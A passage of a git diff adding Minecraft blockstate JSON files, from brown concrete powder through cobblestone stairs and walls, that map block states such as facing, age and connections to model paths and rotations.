+ }, + { + "model": "minecraft:block/brown_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_glazed_terracotta.json b/src/assets/minecraft/blockstates/brown_glazed_terracotta.json new file mode 100644 index 00000000..d78b6954 --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/brown_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/brown_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/brown_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/brown_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_mushroom.json b/src/assets/minecraft/blockstates/brown_mushroom.json new file mode 100644 index 00000000..9a2fb1c6 --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_mushroom.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_mushroom" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_mushroom_block.json b/src/assets/minecraft/blockstates/brown_mushroom_block.json new file mode 100644 index 00000000..09f86c0e --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_mushroom_block.json @@ -0,0 +1,120 @@ +{ + "multipart": [ + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block", + "x": 270, + "uvlock": true + } + }, + { + "when": { + "down": "true" + }, + "apply": { + "model": "minecraft:block/brown_mushroom_block", + "x": 90, + "uvlock": true + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 90, + "uvlock": false + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 180, + "uvlock": false + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 270, + "uvlock": false + } + }, + { + "when": { + "up": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 270, + "uvlock": false + } + }, + { + "when": { + "down": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 90, + "uvlock": false + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_shulker_box.json b/src/assets/minecraft/blockstates/brown_shulker_box.json new file mode 100644 index 00000000..c4f723bb --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_stained_glass.json b/src/assets/minecraft/blockstates/brown_stained_glass.json new file mode 100644 index 00000000..723e232e --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_stained_glass_pane.json b/src/assets/minecraft/blockstates/brown_stained_glass_pane.json new file mode 100644 index 00000000..b1c60a64 --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/brown_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_terracotta.json b/src/assets/minecraft/blockstates/brown_terracotta.json new file mode 100644 index 00000000..6a618f17 --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_wall_banner.json b/src/assets/minecraft/blockstates/brown_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_wool.json b/src/assets/minecraft/blockstates/brown_wool.json new file mode 100644 index 00000000..4c378d5e --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bubble_column.json b/src/assets/minecraft/blockstates/bubble_column.json new file mode 100644 index 00000000..99fd360b --- /dev/null +++ b/src/assets/minecraft/blockstates/bubble_column.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/water" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bubble_coral.json b/src/assets/minecraft/blockstates/bubble_coral.json new file mode 100644 index 00000000..3e068e64 --- /dev/null +++ b/src/assets/minecraft/blockstates/bubble_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bubble_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bubble_coral_block.json b/src/assets/minecraft/blockstates/bubble_coral_block.json new file mode 100644 index 00000000..4f6abebe --- /dev/null +++ b/src/assets/minecraft/blockstates/bubble_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bubble_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bubble_coral_fan.json b/src/assets/minecraft/blockstates/bubble_coral_fan.json new file mode 100644 index 00000000..e91a669f --- /dev/null +++ b/src/assets/minecraft/blockstates/bubble_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bubble_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bubble_coral_wall_fan.json b/src/assets/minecraft/blockstates/bubble_coral_wall_fan.json new file mode 100644 index 00000000..5310027a --- /dev/null +++ b/src/assets/minecraft/blockstates/bubble_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/bubble_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/bubble_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/bubble_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/bubble_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cactus.json b/src/assets/minecraft/blockstates/cactus.json new file mode 100644 index 00000000..c1623fbc --- /dev/null +++ b/src/assets/minecraft/blockstates/cactus.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cactus" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cake.json b/src/assets/minecraft/blockstates/cake.json new file mode 100644 index 00000000..c905f118 --- /dev/null +++ b/src/assets/minecraft/blockstates/cake.json @@ -0,0 +1,25 @@ +{ + "variants": { + "bites=0": { + "model": "minecraft:block/cake" + }, + "bites=1": { + "model": "minecraft:block/cake_slice1" + }, + "bites=2": { + "model": "minecraft:block/cake_slice2" + }, + "bites=3": { + "model": "minecraft:block/cake_slice3" + }, + "bites=4": { + "model": "minecraft:block/cake_slice4" + }, + "bites=5": { + "model": "minecraft:block/cake_slice5" + }, + "bites=6": { + "model": "minecraft:block/cake_slice6" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/campfire.json b/src/assets/minecraft/blockstates/campfire.json new file mode 100644 index 00000000..d5751b85 --- /dev/null +++ b/src/assets/minecraft/blockstates/campfire.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 270 + }, + "facing=east,lit=true": { + "model": "minecraft:block/campfire", + "y": 270 + }, + "facing=north,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 180 + }, + "facing=north,lit=true": { + "model": "minecraft:block/campfire", + "y": 180 + }, + "facing=south,lit=false": { + "model": "minecraft:block/campfire_off" + }, + "facing=south,lit=true": { + "model": "minecraft:block/campfire" + }, + "facing=west,lit=false": { + "model": "minecraft:block/campfire_off", + "y": 90 + }, + "facing=west,lit=true": { + "model": "minecraft:block/campfire", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/carrots.json b/src/assets/minecraft/blockstates/carrots.json new file mode 100644 index 00000000..8acf220f --- /dev/null +++ b/src/assets/minecraft/blockstates/carrots.json @@ -0,0 +1,28 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/carrots_stage0" + }, + "age=1": { + "model": "minecraft:block/carrots_stage0" + }, + "age=2": { + "model": "minecraft:block/carrots_stage1" + }, + "age=3": { + "model": "minecraft:block/carrots_stage1" + }, + "age=4": { + "model": "minecraft:block/carrots_stage2" + }, + "age=5": { + "model": "minecraft:block/carrots_stage2" + }, + "age=6": { + "model": "minecraft:block/carrots_stage2" + }, + "age=7": { + "model": "minecraft:block/carrots_stage3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cartography_table.json b/src/assets/minecraft/blockstates/cartography_table.json new file mode 100644 index 00000000..6feb4018 --- /dev/null +++ b/src/assets/minecraft/blockstates/cartography_table.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cartography_table" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/carved_pumpkin.json b/src/assets/minecraft/blockstates/carved_pumpkin.json new file mode 100644 index 00000000..f98dc9f9 --- /dev/null +++ b/src/assets/minecraft/blockstates/carved_pumpkin.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/carved_pumpkin", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/carved_pumpkin" + }, + "facing=south": { + "model": "minecraft:block/carved_pumpkin", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/carved_pumpkin", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cauldron.json b/src/assets/minecraft/blockstates/cauldron.json new file mode 100644 index 00000000..c0ca4da0 --- /dev/null +++ b/src/assets/minecraft/blockstates/cauldron.json @@ -0,0 +1,16 @@ +{ + "variants": { + "level=0": { + "model": "minecraft:block/cauldron" + }, + "level=1": { + "model": "minecraft:block/cauldron_level1" + }, + "level=2": { + "model": "minecraft:block/cauldron_level2" + }, + "level=3": { + "model": "minecraft:block/cauldron_level3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cave_air.json b/src/assets/minecraft/blockstates/cave_air.json new file mode 100644 index 00000000..2c8f02f0 --- /dev/null +++ b/src/assets/minecraft/blockstates/cave_air.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/air" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chain.json b/src/assets/minecraft/blockstates/chain.json new file mode 100644 index 00000000..9ae0f964 --- /dev/null +++ b/src/assets/minecraft/blockstates/chain.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/chain", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/chain" + }, + "axis=z": { + "model": "minecraft:block/chain", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chain_command_block.json b/src/assets/minecraft/blockstates/chain_command_block.json new file mode 100644 index 00000000..ede14429 --- /dev/null +++ b/src/assets/minecraft/blockstates/chain_command_block.json @@ -0,0 +1,50 @@ +{ + "variants": { + "conditional=false,facing=down": { + "model": "minecraft:block/chain_command_block", + "x": 90 + }, + "conditional=false,facing=east": { + "model": "minecraft:block/chain_command_block", + "y": 90 + }, + "conditional=false,facing=north": { + "model": "minecraft:block/chain_command_block" + }, + "conditional=false,facing=south": { + "model": "minecraft:block/chain_command_block", + "y": 180 + }, + "conditional=false,facing=up": { + "model": "minecraft:block/chain_command_block", + "x": 270 + }, + "conditional=false,facing=west": { + "model": "minecraft:block/chain_command_block", + "y": 270 + }, + "conditional=true,facing=down": { + "model": "minecraft:block/chain_command_block_conditional", + "x": 90 + }, + "conditional=true,facing=east": { + "model": "minecraft:block/chain_command_block_conditional", + "y": 90 + }, + "conditional=true,facing=north": { + "model": "minecraft:block/chain_command_block_conditional" + }, + "conditional=true,facing=south": { + "model": "minecraft:block/chain_command_block_conditional", + "y": 180 + }, + "conditional=true,facing=up": { + "model": "minecraft:block/chain_command_block_conditional", + "x": 270 + }, + "conditional=true,facing=west": { + "model": "minecraft:block/chain_command_block_conditional", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chest.json b/src/assets/minecraft/blockstates/chest.json new file mode 100644 index 00000000..f78fa579 --- /dev/null +++ b/src/assets/minecraft/blockstates/chest.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chest" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chipped_anvil.json b/src/assets/minecraft/blockstates/chipped_anvil.json new file mode 100644 index 00000000..466eb4c7 --- /dev/null +++ b/src/assets/minecraft/blockstates/chipped_anvil.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/chipped_anvil", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/chipped_anvil", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/chipped_anvil" + }, + "facing=west": { + "model": "minecraft:block/chipped_anvil", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_nether_bricks.json b/src/assets/minecraft/blockstates/chiseled_nether_bricks.json new file mode 100644 index 00000000..c2748322 --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_nether_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_nether_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_polished_blackstone.json b/src/assets/minecraft/blockstates/chiseled_polished_blackstone.json new file mode 100644 index 00000000..66a2f35f --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_polished_blackstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_polished_blackstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_quartz_block.json b/src/assets/minecraft/blockstates/chiseled_quartz_block.json new file mode 100644 index 00000000..2e9192c7 --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_quartz_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_quartz_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_red_sandstone.json b/src/assets/minecraft/blockstates/chiseled_red_sandstone.json new file mode 100644 index 00000000..c1f7cc6e --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_red_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_red_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_sandstone.json b/src/assets/minecraft/blockstates/chiseled_sandstone.json new file mode 100644 index 00000000..7a5de569 --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_sandstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_sandstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chiseled_stone_bricks.json b/src/assets/minecraft/blockstates/chiseled_stone_bricks.json new file mode 100644 index 00000000..4034c11b --- /dev/null +++ b/src/assets/minecraft/blockstates/chiseled_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chiseled_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chorus_flower.json b/src/assets/minecraft/blockstates/chorus_flower.json new file mode 100644 index 00000000..0bf05806 --- /dev/null +++ b/src/assets/minecraft/blockstates/chorus_flower.json @@ -0,0 +1,22 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/chorus_flower" + }, + "age=1": { + "model": "minecraft:block/chorus_flower" + }, + "age=2": { + "model": "minecraft:block/chorus_flower" + }, + "age=3": { + "model": "minecraft:block/chorus_flower" + }, + "age=4": { + "model": "minecraft:block/chorus_flower" + }, + "age=5": { + "model": "minecraft:block/chorus_flower_dead" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/chorus_plant.json b/src/assets/minecraft/blockstates/chorus_plant.json new file mode 100644 index 00000000..774cd645 --- /dev/null +++ b/src/assets/minecraft/blockstates/chorus_plant.json @@ -0,0 +1,222 @@ +{ + "multipart": [ + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side", + "x": 270, + "uvlock": true + } + }, + { + "when": { + "down": "true" + }, + "apply": { + "model": "minecraft:block/chorus_plant_side", + "x": 90, + "uvlock": true + } + }, + { + "when": { + "north": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2 + }, + { + "model": "minecraft:block/chorus_plant_noside1" + }, + { + "model": "minecraft:block/chorus_plant_noside2" + }, + { + "model": "minecraft:block/chorus_plant_noside3" + } + ] + }, + { + "when": { + "east": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside1", + "y": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside2", + "y": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside3", + "y": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2, + "y": 90, + "uvlock": true + } + ] + }, + { + "when": { + "south": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside2", + "y": 180, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside3", + "y": 180, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2, + "y": 180, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside1", + "y": 180, + "uvlock": true + } + ] + }, + { + "when": { + "west": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside3", + "y": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2, + "y": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside1", + "y": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside2", + "y": 270, + "uvlock": true + } + ] + }, + { + "when": { + "up": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2, + "x": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside3", + "x": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside1", + "x": 270, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside2", + "x": 270, + "uvlock": true + } + ] + }, + { + "when": { + "down": "false" + }, + "apply": [ + { + "model": "minecraft:block/chorus_plant_noside3", + "x": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside2", + "x": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside1", + "x": 90, + "uvlock": true + }, + { + "model": "minecraft:block/chorus_plant_noside", + "weight": 2, + "x": 90, + "uvlock": true + } + ] + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/clay.json b/src/assets/minecraft/blockstates/clay.json new file mode 100644 index 00000000..d22f313b --- /dev/null +++ b/src/assets/minecraft/blockstates/clay.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/clay" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/coal_block.json b/src/assets/minecraft/blockstates/coal_block.json new file mode 100644 index 00000000..266adaad --- /dev/null +++ b/src/assets/minecraft/blockstates/coal_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/coal_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/coal_ore.json b/src/assets/minecraft/blockstates/coal_ore.json new file mode 100644 index 00000000..9fa7c00d --- /dev/null +++ b/src/assets/minecraft/blockstates/coal_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/coal_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/coarse_dirt.json b/src/assets/minecraft/blockstates/coarse_dirt.json new file mode 100644 index 00000000..1f87e5c1 --- /dev/null +++ b/src/assets/minecraft/blockstates/coarse_dirt.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/coarse_dirt" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cobblestone.json b/src/assets/minecraft/blockstates/cobblestone.json new file mode 100644 index 00000000..e94cf882 --- /dev/null +++ b/src/assets/minecraft/blockstates/cobblestone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/cobblestone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cobblestone_slab.json b/src/assets/minecraft/blockstates/cobblestone_slab.json new file mode 100644 index 00000000..8164d9ed --- /dev/null +++ b/src/assets/minecraft/blockstates/cobblestone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/cobblestone_slab" + }, + "type=double": { + "model": "minecraft:block/cobblestone" + }, + "type=top": { + "model": "minecraft:block/cobblestone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cobblestone_stairs.json b/src/assets/minecraft/blockstates/cobblestone_stairs.json new file mode 100644 index 00000000..a95a8d6d --- /dev/null +++ b/src/assets/minecraft/blockstates/cobblestone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/cobblestone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/cobblestone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/cobblestone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/cobblestone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/cobblestone_wall.json b/src/assets/minecraft/blockstates/cobblestone_wall.json new file mode 100644 index 00000000..6ecf2200 --- /dev/null +++ b/src/assets/minecraft/blockstates/cobblestone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/cobblestone_wall_side", 